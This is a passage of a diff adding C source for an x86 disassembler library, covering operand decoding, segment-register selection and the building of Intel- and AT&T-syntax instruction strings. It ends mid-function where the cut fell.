GV.MemDecoration = Arg1dword; + } + GV.ImmediatSize = 32; /* place this instruction before MOD_RM routine to inform it there is an immediat value */ + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+6; + if (!Security(0, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + if (GV.OperandSize == 64) { + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.16llX",(Int64) *((Int32*)(UIntPtr) (GV.EIP_-4))); + } + else { + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64) *((UInt32*)(UIntPtr) (GV.EIP_-4))); + } + #endif + + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Instruction.Immediat = *((UInt32*)(UIntPtr) (GV.EIP_-4)); + } + else { + GV.MemDecoration = Arg1word; + GV.ImmediatSize = 16; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+4; + if (!Security(0, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.4X",(Int64)*((UInt16*)(UIntPtr) (GV.EIP_-2))); + #endif + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Instruction.Immediat = *((UInt16*)(UIntPtr) (GV.EIP_-2)); + } +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ EvIb(PDISASM pMyDisasm) +{ + Int8 MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.ImmediatSize = 8; + if (GV.OperandSize >= 32) { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else { + GV.MemDecoration = Arg1dword; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_-1)); + if (MyNumber > 0) { + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64)*((Int8*)(UIntPtr) (GV.EIP_-1))); + } + else { + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64)*((Int8*)(IntPtr) (GV.EIP_-1))); + } + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_-1)); + if (MyNumber > 0) { + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64)*((Int8*)(UIntPtr) (GV.EIP_-1))); + } + else { + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.16llX",(Int64)*((Int8*)(IntPtr) (GV.EIP_-1))); + } + #endif + } + + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + } + else { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.4X",(Int64)*((Int8*)(UIntPtr) (GV.EIP_-1))); + #endif + + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + } +} +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ EbIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.ImmediatSize = 8; + GV.MemDecoration = Arg1byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64)*((Int8*)(UIntPtr) (GV.EIP_-1))); + #endif + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_-1)); +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ Eb(PDISASM pMyDisasm) +{ + GV.MemDecoration = Arg1byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ Ev(PDISASM pMyDisasm) +{ + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ GvEv(PDISASM pMyDisasm) +{ + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + } + else { + GV.MemDecoration = Arg2word; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ GvEb(PDISASM pMyDisasm) +{ + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 64; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + } + else { + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 16; + } + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ GxEx(PDISASM pMyDisasm) +{ + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ GvEw(PDISASM pMyDisasm) +{ + GV.MemDecoration = Arg2word; + GV.OriginalOperandSize = GV.OperandSize; + GV.OperandSize = 16; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = GV.OriginalOperandSize; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ ALIb(PDISASM pMyDisasm) +{ + long MyNumber; + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((Int8*)(IntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ eAX_Iv(PDISASM pMyDisasm) +{ + UInt32 MyNumber; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(5, pMyDisasm)) return; + GV.ImmediatSize = 32; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 32; + MyNumber = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.16llX",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + } + GV.EIP_+= 5; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + GV.ImmediatSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + MyNumber = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + } + GV.EIP_+= 5; + } + else { + if (!Security(3, pMyDisasm)) return; + GV.ImmediatSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + MyNumber = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X", (Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + } + GV.EIP_+= 3; + } + +} + +/* ==================================================================== + * + * ==================================================================== */ +int __bea_callspec__ Security(int len, PDISASM pMyDisasm) +{ + if ((GV.EndOfBlock != 0) && (GV.EIP_+(UInt64)len > GV.EndOfBlock)) { + GV.OutOfBlock = 1; + return 0; + } + return 1; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ FillFlags(PDISASM pMyDisasm, int index) +{ + (*pMyDisasm).Instruction.Flags = EFLAGS_TABLE[index]; +} +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ CalculateRelativeAddress(UInt64 * pMyAddress, Int64 MyNumber, PDISASM pMyDisasm) +{ + GV.RelativeAddress = 1; + if (GV.EIP_VA != 0) { + *pMyAddress = (UInt64) (GV.EIP_VA+(UInt64) MyNumber); + } + else { + *pMyAddress = (UInt64) (GV.EIP_REAL+(UInt64) MyNumber); + } +} + +/* ==================================================================== + * + * ==================================================================== */ +#ifndef BEA_LIGHT_DISASSEMBLY +size_t __bea_callspec__ CopyFormattedNumber(PDISASM pMyDisasm, char* pBuffer, const char* pFormat, Int64 MyNumber) +{ + size_t i = 0; + if (GV.FORMATNUMBER == PrefixedNumeral) { + (void) strcpy(pBuffer, "0x"); + (void) sprintf (pBuffer+2, pFormat, MyNumber); + i += strlen(pBuffer); + } + else { + (void) sprintf (pBuffer+i, pFormat, MyNumber); + i += strlen(pBuffer); + (void) strcpy(pBuffer+i, "h"); + i++; + } + return i; +} +#endif + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ FillSegmentsRegisters(PDISASM pMyDisasm) +{ + if (((*pMyDisasm).Prefix.LockPrefix == InUsePrefix) && ((*pMyDisasm).Argument1.ArgType != MEMORY_TYPE)) { + (*pMyDisasm).Prefix.LockPrefix = InvalidPrefix; + } + if ((*pMyDisasm).Instruction.Category == GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION) { + (*pMyDisasm).Argument1.SegmentReg = ESReg; + (*pMyDisasm).Argument2.SegmentReg = DSReg; + /* =============== override affects Arg2 */ + if ((*pMyDisasm).Argument2.ArgType == MEMORY_TYPE) { + if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = FSReg; + } + else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = GSReg; + } + else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = CSReg; + } + else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = ESReg; + } + else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = SSReg; + } + else { + (*pMyDisasm).Argument2.SegmentReg = DSReg; + } + } + } + else { + if ((*pMyDisasm).Argument1.ArgType == MEMORY_TYPE) { + if (((*pMyDisasm).Argument1.Memory.BaseRegister == REG4) || ((*pMyDisasm).Argument1.Memory.BaseRegister == REG5)) { + (*pMyDisasm).Argument1.SegmentReg = SSReg; + /* ========== override is invalid here */ + if ((*pMyDisasm).Argument2.ArgType != MEMORY_TYPE) { + if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = FSReg; + (*pMyDisasm).Prefix.FSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = GSReg; + (*pMyDisasm).Prefix.GSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = CSReg; + (*pMyDisasm).Prefix.CSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = DSReg; + (*pMyDisasm).Prefix.DSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = ESReg; + (*pMyDisasm).Prefix.ESPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = SSReg; + (*pMyDisasm).Prefix.SSPrefix = InvalidPrefix; + } + } + } + else { + (*pMyDisasm).Argument1.SegmentReg = DSReg; + /* ============= test if there is override */ + if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = FSReg; + } + else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = GSReg; + } + else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = CSReg; + } + else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = ESReg; + } + else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) { + (*pMyDisasm).Argument1.SegmentReg = SSReg; + } + } + } + + if ((*pMyDisasm).Argument2.ArgType == MEMORY_TYPE) { + if (((*pMyDisasm).Argument2.Memory.BaseRegister == REG4) || ((*pMyDisasm).Argument2.Memory.BaseRegister == REG5)) { + (*pMyDisasm).Argument2.SegmentReg = SSReg; + /* ========== override is invalid here */ + if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = FSReg; + (*pMyDisasm).Prefix.FSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = GSReg; + (*pMyDisasm).Prefix.GSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = CSReg; + (*pMyDisasm).Prefix.CSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = DSReg; + (*pMyDisasm).Prefix.DSPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = ESReg; + (*pMyDisasm).Prefix.ESPrefix = InvalidPrefix; + } + else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = SSReg; + (*pMyDisasm).Prefix.SSPrefix = InvalidPrefix; + } + } + else { + (*pMyDisasm).Argument2.SegmentReg = DSReg; + /* ============= test if there is override */ + if ((*pMyDisasm).Prefix.FSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = FSReg; + } + else if ((*pMyDisasm).Prefix.GSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = GSReg; + } + else if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = CSReg; + } + else if ((*pMyDisasm).Prefix.ESPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = ESReg; + } + else if ((*pMyDisasm).Prefix.SSPrefix == InUsePrefix) { + (*pMyDisasm).Argument2.SegmentReg = SSReg; + } + } + } + } +} + +#ifndef BEA_LIGHT_DISASSEMBLY +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ BuildCompleteInstruction(PDISASM pMyDisasm) +{ + size_t i = 0; + /* =============== Copy Instruction Mnemonic */ + + if ((*pMyDisasm).Prefix.RepnePrefix == InUsePrefix) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "repne "); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + if ((*pMyDisasm).Prefix.RepPrefix == InUsePrefix) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "rep "); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + if ((*pMyDisasm).Prefix.LockPrefix == InUsePrefix) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "lock "); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Instruction.Mnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + + /* =============== if TAB = 1, add tabulation */ + if (GV.TAB_ == 1) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, space_tab[10-i]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + /* =============== if Arg1.IsMemoryType, add decoration-example == "dword ptr ds:[" */ + if ((GV.MemDecoration >0) && (GV.MemDecoration < 99)) { + if (GV.SYNTAX_ == NasmSyntax) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, NasmPrefixes[GV.MemDecoration-1]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + if ((GV.SEGMENTREGS != 0) || (GV.SEGMENTFS != 0)){ + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + if (GV.SEGMENTREGS != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument1.SegmentReg]); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + } + } + else { + if (GV.SYNTAX_ == MasmSyntax) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, MasmPrefixes[GV.MemDecoration-1]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, GoAsmPrefixes[GV.MemDecoration-1]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + if ((GV.SEGMENTREGS != 0) || (GV.SEGMENTFS != 0)){ + if (GV.SEGMENTREGS != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument1.SegmentReg]); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + } + } + /* =============== add Arg1.Mnemonic */ + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument1.ArgMnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "]"); + i++; + } + /* =============== add Arg1.Mnemonic */ + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument1.ArgMnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + + /* =============== if Arg2.Exists and Arg1.Exists , add"," */ + if (((UInt8)*((UInt8*) &(*pMyDisasm).Argument1.ArgMnemonic) != 0) && ((UInt8)*((UInt8*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0)) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, ", "); + i += 2; + } + + /* =============== if Arg2.IsMemoryType, add decoration-example == "dword ptr ds:[" */ + if ((GV.MemDecoration >100) && (GV.MemDecoration < 199)) { + GV.MemDecoration -= 100; + if (GV.SYNTAX_ == NasmSyntax) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, NasmPrefixes[GV.MemDecoration-1]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + if ((GV.SEGMENTREGS != 0) || (GV.SEGMENTFS != 0)){ + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + if (GV.SEGMENTREGS != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument2.SegmentReg]); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + } + } + else { + if (GV.SYNTAX_ == MasmSyntax) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, MasmPrefixes[GV.MemDecoration-1]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, GoAsmPrefixes[GV.MemDecoration-1]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + if ((GV.SEGMENTREGS != 0) || (GV.SEGMENTFS != 0)){ + if (GV.SEGMENTREGS != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[(*pMyDisasm).Argument2.SegmentReg]); + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, SegmentRegs[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + } + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "["); + i++; + } + } + /* =============== add Arg2.ArgMnemonic */ + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument2.ArgMnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "]"); + i++; + } + /* =============== add Arg2.ArgMnemonic */ + else { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument2.ArgMnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + + + /* =============== if Arg3.Exists */ + if (GV.third_arg != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, ", "); + i += 2; + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument3.ArgMnemonic); + } + + + +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ BuildCompleteInstructionATSyntax(PDISASM pMyDisasm) +{ + size_t i = 0; + /* =============== Copy Instruction Mnemonic */ + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr, (char*) &(*pMyDisasm).Instruction.Mnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + + /* =============== suffix the mnemonic */ + if (GV.MemDecoration != 0) { + if (GV.MemDecoration > 99) GV.MemDecoration -= 100; + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[GV.MemDecoration-1]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + else { + if ((*pMyDisasm).Argument1.ArgType != NO_ARGUMENT) { + if ((*pMyDisasm).Argument1.ArgSize == 8) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[0]); + } + else if ((*pMyDisasm).Argument1.ArgSize == 16) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[1]); + } + else if ((*pMyDisasm).Argument1.ArgSize == 32) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[2]); + } + else if ((*pMyDisasm).Argument1.ArgSize == 64) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + else if ((*pMyDisasm).Argument1.ArgType != NO_ARGUMENT) { + if ((*pMyDisasm).Argument1.ArgSize == 8) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[0]); + } + else if ((*pMyDisasm).Argument1.ArgSize == 16) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[1]); + } + else if ((*pMyDisasm).Argument1.ArgSize == 32) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[2]); + } + else if ((*pMyDisasm).Argument1.ArgSize == 64) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i-1, ATSuffixes[3]); + } + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + } + /* =============== if TAB = 1, add tabulation */ + if (GV.TAB_ == 1) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, space_tab[10-i]); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + + /* =============== if Arg3.Exists, display it */ + if (GV.third_arg != 0) { + if ((*pMyDisasm).Argument3.ArgType & REGISTER_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%"); + i++; + } + else if ((*pMyDisasm).Argument3.ArgType & CONSTANT_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "\x24"); + i++; + } + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, (char*) &(*pMyDisasm).Argument3.ArgMnemonic); + i = strlen((char*) &(*pMyDisasm).CompleteInstr); + } + + /* =============== if Arg3.Exists and Arg2.Exists , display " , " */ + if ((GV.third_arg != 0) && (*((UInt8*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0)) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, ", "); + i += 2; + } + + /* =============== if Arg2 exists, display it */ + if (*((UInt8*) &(*pMyDisasm).Argument2.ArgMnemonic) != 0) { + if ((*pMyDisasm).Argument2.ArgType & CONSTANT_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "\x24"); + i++; + } + else { + if ((*pMyDisasm).Instruction.BranchType != 0) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "*"); + i++; + } + if ((*pMyDisasm).Argument2.ArgType & REGISTER_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "%"); + i++; + } + else if ((*pMyDisasm).Argument2.ArgType & CONSTANT_TYPE) { + (void) strcpy ((char*) &(*pMyDisasm).CompleteInstr+i, "\x24"); + i++; + } + else { 